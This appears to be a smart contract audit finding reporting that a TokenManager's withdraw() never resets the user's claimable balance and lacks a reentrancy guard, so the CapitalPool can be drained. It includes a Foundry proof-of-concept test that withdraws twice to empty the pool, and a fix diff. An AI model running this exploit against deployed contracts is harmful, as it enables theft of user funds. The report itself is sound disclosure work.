Summary
CapitalPool can be drained by attacker, due to that TokenManager does not updated user claimable balance after withdrawal.
Vulnerability Details
TokenManager maintains user token balance in userTokenBalanceMap mapping, user can call withdraw() to claim tokens.
The token will be sent from CapitalPool to the user if user claimable balance is larger than .
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
However, withdraw() is not guarded by reentrancy modifer, and user claimable balance is not updated after each withdrawal, as a result, CapitalPool can be drained by reentrancy attack / repeating withdrawals.
Please run the PoC in PreMakets.t.sol to verify:
function testAudit_CapitalPoolIsDrainedByRepeatingWithdrawals() public {
address auditMarketPlace = GenerateAddress.generateMarketPlaceAddress("AuditMarket");
vm.startPrank(user1);
systemConfig.createMarketPlace("AuditMarket", false);
systemConfig.updateMarket("AuditMarket", address(mockPointToken), 1e18, block.timestamp + 30 days, 2 days);
vm.stopPrank();
deal(address(mockUSDCToken), address(capitalPool), 2000e18);
capitalPool.approve(address(mockUSDCToken));
address alice = makeAddr("Alice");
deal(address(mockUSDCToken), alice, 1000e18);
address aliceStockAddr = GenerateAddress.generateStockAddress(preMarktes.offerId());
address aliceOfferAddr = GenerateAddress.generateOfferAddress(preMarktes.offerId());
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(CreateOfferParams({
marketPlace: auditMarketPlace,
tokenAddress: address(mockUSDCToken),
points: 1000,
amount: 1000e18,
collateralRate: 10000,
eachTradeTax: 0,
offerType: OfferType.Ask,
offerSettleType: OfferSettleType.Turbo
}));
preMarktes.abortAskOffer(aliceStockAddr, aliceOfferAddr);
vm.stopPrank();
assertEq(tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund), 1000e18);
vm.startPrank(alice);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
assertEq(mockUSDCToken.balanceOf(alice), 2000e18);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);
}
Impact
CaptialPool can be drained.
Tools Used
Manual Review
Recommendations
Add reentrancy guard to withdraw(), update user claimable balance before transfer.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
- ) external whenNotPaused {
+ ) external whenNotPaused NonReentrancy {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
...
}
